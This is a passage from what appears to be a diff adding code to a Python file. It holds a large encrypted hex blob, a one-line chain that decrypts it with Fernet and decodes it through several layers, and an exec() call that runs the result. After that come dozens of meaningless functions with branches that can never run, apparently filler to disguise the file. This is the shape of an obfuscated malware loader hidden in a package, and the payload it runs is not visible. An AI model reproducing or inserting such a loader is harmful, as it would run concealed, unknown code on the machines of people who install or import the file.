566f4a765262585866736e343963536a2d65754c307a316f6e7a6e65703870514e667a665a65786c6a4c376550414b58776e6a6a487839427a753976414f66344465794f626f3851337459594768784875542d364b537957413667654d6d523266646e383959304630785551544a636e4d715f69686f5a4b597567344e715a6372357873533730683352545a55544d47696c372d426655346861395358527768595f61344e353568443653793248365354654f4f69433541716632475133734e78674b79444a53417754506d4737327149392d723664513276625446565874445642615f34476d66495956695547766f50437165637341367857514b43654e363045696b64444e31413568432d6d664837356f71763437437567575a6d7071494b7a5673475459714d363944736756433853776d7158454572784d3061756b716c4e6b5853386e564f344a52596b3062587656784c3851317042454f4d656930744c715856366557456b7671366d55716b385078726c617a6b53533133552d75555275764335676778572d613750435947637767514d4b795671354a7833595030614b4331754349362d715f2d6b56685058325a372d676d53596136647962793471665848447770646374706c4332627457764f77724133674f542d79313963444a5138774f6b715f4a6857537657773964723850733572436831704f364b6159576e712d556f5743755147315f36626a4b6267466763776d6c37393147526f594d414e67556b76715a47774b3749515f506e7348734930634c626d6d73523944614b5a615859507574764c556f2d4e414e71535536796144632d6374317436516b315838455a523557792d694c59657275325665734b346b505175756b666864353933505745724a2d76664b424d47463732437652635a44523335687a4471366a5645306266766b46514b7a486838706f3238347472415372304a4972655f456f5a4b4539676a4f626a35634e496179444b5678746e6c6d686c784436486e527066516a3873656639396e6d4346626e4e4138674f47646b5470666958575a52545f707979783669693855466d6c76507a437263585f786b68546e394f3937575039684d4f365954635943634b4c6944706a7a68457069774b5771576f7332676f777233793344546d417a423941737947595959346544776c446d746c50762d324661345f756b4f6c437968445f57705737556d72644771477579324e5235536e59625230315036517150426868486b6976456254364943456c41445f667875547a5f30335766596a5879716e6e527054734277356462676c4f7842525249663231575135344d735754424d68786a78686f64496365464b7a514b374e6b5a6a33743047396d7774424a623375424c61442d3549666e646a5742735a6442366a55335477544d7a7344573535616d674564634267595f347358414f6f5633594875537369716b6a79385835724e507668324c414d76535962794573536836642d52666553325168484d347355516c3277394e394b5162535f6f55524845665a47376f34726b727a4c38446e57774e5a774e7a49505546373968416d69587379655950744d374653304f736b684a336c446c667643575a76594c6c6c68384c5f765847306e63415a47585245755f6b63507046437568447a78757462534348776431345342504564784e5072693133356a484235456162413954443363306334434f584c434669774963465958662d3256784d455750414d4c416e454a7a4179304b477654565631346c396c4662565851543066324258336a5038614a74374547464277314c514676625679364a47727a6333536f39584a6d3841364868496559744b7a2d32412d47756c4a6b6b5a6a5a63435a58696b666c6d6c6e565a694561573179702d4a465234734258646f7176732d44445363326e7a31674a484a70575a7a42676c4e766b594e6c4854306a6f44554548656d67635173777731577578694970546f4a654b326c346d6545416932577832395079734e7443424f754c38434d433665504e6f3963714c6431774238654d38765759716349455362677432496c7478345066725a4245347264632d6e41332d2d4332796c774d734e4459555a304e62724e31532d394b32485875596d48766d4a5174565a4a682d59376f6d514b4a4741465f6c6d7873444c746a75765a5f687965374173647861566174464a552d5955364b67374c427330595a6c7675616b59684a366a6634454b75494e696474646b7837334248566f61356e5344734d75715a556b545343414c70767337455a354b72566d736c4f4f496435656e684c7176786473423635726465635837762d5152714b7435546f592d742d724e344d5471525a7950757a635537346d7a4a6d6b5a6463625735446533502d497a30372d3564523031726a3061474e695645672d39547973525732634256335861414e746a5a427245336e46417846497565476b3865335a7a5f664876334e6857415933662d6f58674b585f505868425a31714371315a427542306b714e394f62374164616a6932615243417a726a76354e6e51376e367857316c746452484c3571714d7758584e543451623359516f66624b474245494a34323534304b73387a456b41525333476878734b7737506c4e4831765971445a4e55723739354f787a6d4e656e616e765a7a34356a6b66485147337151326275556b5353687561366e676a38694b57666b597532757a41384f4a39305a36416e4959544e3236594b56726b6f6f38696f4b685946374b49327654316d6c6c3172515075386b36547a364838436144384364396b335131466c5044584d4646457435367832794a6f693067367868585f6432765a716f7363662d48556d3075777a413768707a6c377a706d515a4f614e69717037484f5732335939614b4c686442756c6444486c5338594c5948415a70444758396e513436742d5f74487444706f4664706435754a375a4b2d595179717a4464537a48436349556e3556423944655f7a346c6b45786658415f59416247704a677250707476434a4b5930664b4774497531717947762d64574d5666475665436754786a373571486c614f717161554a46446d6971377153517a7143367a434c495f586152594e56475861376b7a775274505766703752616c47385f5246354b61395a73375f394e766f7078656548766b48723162696c776f71754b4d7748716e5631586f48536f56715f4a6142417a6d4156526e5948617274725564536f71745468534451594f59704d713641756741454c5743453777594c6e5f463163552d5474537044374b4754684778734a3745494275544f6263514c576b7768544479627a696a5342464c6f664773473868705638535a59597438797659517444496856683867454f4d696a75774b314c527238576f49426e777268574a46696a49724472516d313063534b35724866357648725f7356716650376e77706b5946444939536d7862513568583356706a54544463724658345a5363697377583268792d6c564176723030384b516b485242584d69326f6b365843664d696d7754315943473866755231594b4856656b61456c767657383058553379357864327a57504d6a4a545678335852334a4736346f6f556f554241697361764d5a6978326863614d4659336f6262516e5f4b656469744639753950475269764750715a497a36487937624e456648367a36624776437a51484858456d6f655052707a4d6e3543777a61564e635a4233793736356d4a58616845632d5a52794966667a4b307a4437656f34677665414a4c364632795f7453524b4f3966523345654c783443503231686d4838542d436b4a6a56425f545850776d775a676e73415333764f52546a5748415664395970463878786977353262657569784e73797a6c3837774e7a78416f72704634776171735f2d4a4e675046315838684d6c4972455a334a64444a5252336f3157326e68764b306948585268576363534e564771624e736b397531554d4f4c596339302d5a58754e6d59437373363451324151587446466461324b62577575724c6963585f353850644255665937517130323363793244724a68744f2d566d34793563774c4e625f565238434f614c6b6a74474b694e4343353351693956395f77526f6749416b393536437a6f6b4271522d746b4479434a7834616a363046464b354453727076355244375f687374746c38517234374546572d616e3561434f4d593848756b6b5956456b477a7236307166514d7372366b447038484469565a563532556f524f696331385855586a437350686a4d392d77463353464c457943464c66466c7677476d456c6a5557616e6a73556534525444542d70697437513143724232705670467837502d5347686a4b6e47517a584633534e4c4a6136754f3352566a7930597448344f4e644d67544c746d5a385a4f5a616d384667614d36614c644939675079347647387750314b3537784d30644f794350797a653262446b4332754f7233704b3269574e675635684150495f75676f4244517246774f594d31514b46322d6e49514736785437626b6f39596f69504a754a344c6b42763037305361487544576e576e57365147766d612d61596c656635676c6d67336c727362574f743044626f567942477a492d4b7370452d6a5864424f30424b62666b2d58374d535f412d55464b365f51634d54735075686a6d694d62414f7a7a77356e697a314b6d775071774656516337347a446a4557375944736a714e7a374c366747436d42776d46455f5333687133442d6f62565851583247534e797a357646376254547964497277486e5f5a7251536b70356e48792d334745767032724f6d38707176735933476b704c31724f467042616b6a303230584d3133627841717a39416c5764595949505a4b694e2d33666d6c5857554758724d666562447675324b68646c737a6c5854755a4c6451484a4638776739433750574e6152767a4e666870616f384e744c6241775330744e4358596f496f6b4d377a346a626a3157566a5564514f4a64307051446a43384d6e4c376d5451395274765071594a627a6e6c4e424755437557334a6d465469382d67766b7430692d4936546a425242314c476858424b4a4f4b376171643752384445643537306570525737664354625f527053624c76626c6a4b465039754f726f52435f385162633951613730334d6c6f5f5a646f352d5f7169723078336d7a6e4d576c466a534e4e4c486a755166796a6f466e4e47314468575f7079795059566d70766d6e454378654857354478513d";__vare__ = lambda x: ____.loads(__________.decompress(______.b32decode(______.b64decode(x[::-1]))));__mycip__= Fernet(base64.b64decode(__mikey__));__step1__=bytes.fromhex(mydata);__step2__=__mycip__.decrypt(__step1__);__decr__=base64.b64decode(__step2__);__decrdata__=__decr__;__gotnew__=base64.b32decode(__decr__);__newdecr__=108870622859;__getnew__=__newdecr__;__myb64code__=base64.b64decode(__gotnew__);__myb64codee__=base64.b64decode(__myb64code__);___ = __myb64codee__;exec(__vare__(___))
324
+
325
+ def saint7438497():
326
+ if 5857393 == 9797430:
327
+
328
+ print(2628138)
329
+ aaa6080476 = 6635999
330
+
331
+ print(7890951)
332
+ bbb3119658 = 5994927
333
+
334
+ aa1824242 = 7645702
335
+
336
+ z5624727 = 7040514
337
+ zz2878299 = 7067943
338
+
339
+ c5810804 = 5562464
340
+ cc652374 = 9043201
341
+
342
+ elif 2499016 == 8295522:
343
+
344
+ print(9067925)
345
+
346
+ aaa6978822 = 6649493
347
+ print(631912)
348
+
349
+ bbb5780050 = 4237313
350
+ aa3953905 = 3322044
351
+ x1415670 = 1861202
352
+ xx4216165 = 7362020
353
+
354
+ a7925283 = 5799054
355
+ aa2648157 = 6751321
356
+
357
+ def saint5295409():
358
+ if 7653577 == 3908761:
359
+
360
+ print(1839118)
361
+ aaa1136209 = 9903676
362
+
363
+ print(3808053)
364
+ bbb565931 = 5453270
365
+
366
+ aa8911318 = 2232484
367
+
368
+ z7361862 = 3481943
369
+ zz5833160 = 2650797
370
+
371
+ c2719234 = 1234565
372
+ cc5040889 = 8742411
373
+
374
+ elif 8737459 == 4558386:
375
+
376
+ print(9930244)
377
+
378
+ aaa2982775 = 9701387
379
+ print(9517235)
380
+
381
+ bbb8583312 = 635656
382
+ aa2379011 = 8945879
383
+ x9469220 = 7007652
384
+ xx755454 = 9561294
385
+
386
+ a9144264 = 6598969
387
+ aa8481321 = 7881609
388
+
389
+ def saint3685456():
390
+ if 1651837 == 8661258:
391
+
392
+ print(4278138)
393
+ aaa9950665 = 1397177
394
+
395
+ print(698180)
396
+ bbb2617057 = 1319541
397
+
398
+ aa9863002 = 4785371
399
+
400
+ z8754998 = 9291918
401
+ zz4654780 = 8089360
402
+
403
+ c4909111 = 7634451
404
+ cc1965984 = 7547401
405
+
406
+ elif 9630160 == 429018:
407
+
408
+ print(4656138)
409
+
410
+ aaa340242 = 505224
411
+ print(7021749)
412
+
413
+ bbb5880104 = 581687
414
+ aa8514063 = 2187005
415
+ x188567 = 8399417
416
+ xx1124632 = 9745274
417
+
418
+ a3632082 = 5784231
419
+ aa4323832 = 3801665
420
+
421
+ def saint9716720():
422
+ if 6441235 == 5084380:
423
+
424
+ print(8755648)
425
+ aaa4109758 = 1058430
426
+
427
+ print(4772722)
428
+ bbb7787224 = 5583262
429
+
430
+ aa8770851 = 5245838
431
+
432
+ z6050038 = 3359068
433
+ zz5150204 = 3104593
434
+
435
+ c7575832 = 4782146
436
+ cc5106375 = 4341835
437
+
438
+ elif 8139119 == 1044173:
439
+
440
+ print(1367776)
441
+
442
+ aaa5494137 = 1771286
443
+ print(9402960)
444
+
445
+ bbb6503848 = 5773931
446
+ aa7806812 = 9489364
447
+ x1247822 = 5104688
448
+ xx6692074 = 4954584
449
+
450
+ a5656099 = 4150468
451
+ aa4930175 = 9859018
452
+
453
+ def saint4241809():
454
+ if 5340347 == 7444725:
455
+
456
+ print(4220281)
457
+ aaa6270470 = 2304087
458
+
459
+ print(4676084)
460
+ bbb8291927 = 943993
461
+
462
+ aa4728007 = 8176434
463
+
464
+ z466288 = 1512785
465
+ zz849512 = 6089264
466
+
467
+ c9751023 = 286602
468
+ cc5599605 = 8248791
469
+
470
+ elif 696004 == 9393908:
471
+
472
+ print(7408681)
473
+
474
+ aaa1420305 = 3377875
475
+ print(3075120)
476
+
477
+ bbb7789809 = 5564762
478
+ aa1818708 = 6836996
479
+ x5558344 = 3761725
480
+ xx8041822 = 1800313
481
+
482
+ a105801 = 549631
483
+ aa440021 = 6308036
484
+
485
+ def saint5469153():
486
+ if 8655450 == 8310926:
487
+
488
+ print(2201541)
489
+ aaa299690 = 676690
490
+
491
+ print(8512684)
492
+ bbb2039255 = 4718098
493
+
494
+ aa8411582 = 573130
495
+
496
+ z1979356 = 2533436
497
+ zz6238363 = 4272041
498
+
499
+ c5529019 = 4367171
500
+ cc4631368 = 3676773
501
+
502
+ elif 3899706 == 8192695:
503
+
504
+ print(7709564)
505
+
506
+ aaa736209 = 3524053
507
+ print(2582905)
508
+
509
+ bbb3274984 = 4073301
510
+ aa6008046 = 8518786
511
+ x9678646 = 7484677
512
+ xx1725640 = 2909927
513
+
514
+ a7692983 = 9221423
515
+ aa2995485 = 9782330
516
+
517
+ def saint6359264():
518
+ if 4347539 == 998395:
519
+
520
+ print(2117861)
521
+ aaa244980 = 9555513
522
+
523
+ print(5452496)
524
+ bbb7043000 = 3643779
525
+
526
+ aa4801979 = 9234174
527
+
528
+ z7440356 = 5342437
529
+ zz836471 = 3864182
530
+
531
+ c287511 = 9794564
532
+ cc1454440 = 7404033
533
+
534
+ elif 7954131 == 2174759:
535
+
536
+ print(9504187)
537
+
538
+ aaa7791505 = 7323128
539
+ print(3340130)
540
+
541
+ bbb7247759 = 4156860
542
+ aa2973984 = 9797169
543
+ x3611163 = 7030069
544
+ xx499885 = 9899124
545
+
546
+ a7455966 = 2878683
547
+ aa4101177 = 9098267
548
+
549
+ def saint8766138():
550
+ if 4817206 == 3976814:
551
+
552
+ print(1663099)
553
+ aaa7694917 = 3516203
554
+
555
+ print(5343986)
556
+ bbb2463690 = 8131552
557
+
558
+ aa9877724 = 7395258
559
+
560
+ z1761276 = 7868332
561
+ zz1750081 = 301634
562
+
563
+ c1035361 = 9443654
564
+ cc6063828 = 1855064
565
+
566
+ elif 4753426 == 9468519:
567
+
568
+ print(6499840)
569
+
570
+ aaa8101729 = 5615513
571
+ print(3377869)
572
+
573
+ bbb9093235 = 4482692
574
+ aa9128681 = 768010
575
+ x8704884 = 6233609
576
+ xx3382651 = 6494423
577
+
578
+ a7588978 = 9679679
579
+ aa2181897 = 886459
580
+
581
+ def saint7509381():
582
+ if 9940265 == 6017099:
583
+
584
+ print(1769982)
585
+ aaa8561438 = 4156892
586
+
587
+ print(6837311)
588
+ bbb6222037 = 7979557
589
+
590
+ aa6308226 = 8538195
591
+
592
+ z7360145 = 1201815
593
+ zz5252913 = 1368172
594
+
595
+ c448374 = 1343777
596
+ cc4945043 = 5737417
597
+
598
+ elif 487017 == 4727880:
599
+
600
+ print(5713908)
601
+
602
+ aaa2479197 = 5930752
603
+ print(6819317)
604
+
605
+ bbb529828 = 5809063
606
+ aa8165101 = 8455405
607
+ x5698032 = 8503144
608
+ xx2590691 = 6165607
609
+
610
+ a7515952 = 3814157
611
+ aa5897358 = 1594901
612
+
613
+ def saint5857860():
614
+ if 7348260 == 7287893:
615
+
616
+ print(6641730)
617
+ aaa8452191 = 8782627
618
+
619
+ print(9625935)
620
+ bbb3451149 = 9511820
621
+
622
+ aa5940798 = 4828609
623
+
624
+ z9208073 = 435024
625
+ zz6108630 = 3401901
626
+
627
+ c6906344 = 1755803
628
+ cc8087642 = 4454190
629
+
630
+ elif 6274338 == 6079517:
631
+
632
+ print(8182459)
633
+
634
+ aaa7614211 = 7077247
635
+ print(1964685)
636
+
637
+ bbb2489163 = 251362
638
+ aa6546734 = 2587555
639
+ x2628741 = 4081680
640
+ xx3032460 = 4362331
641
+
642
+ a2501119 = 4916971
643
+ aa2246349 = 9335806
644
+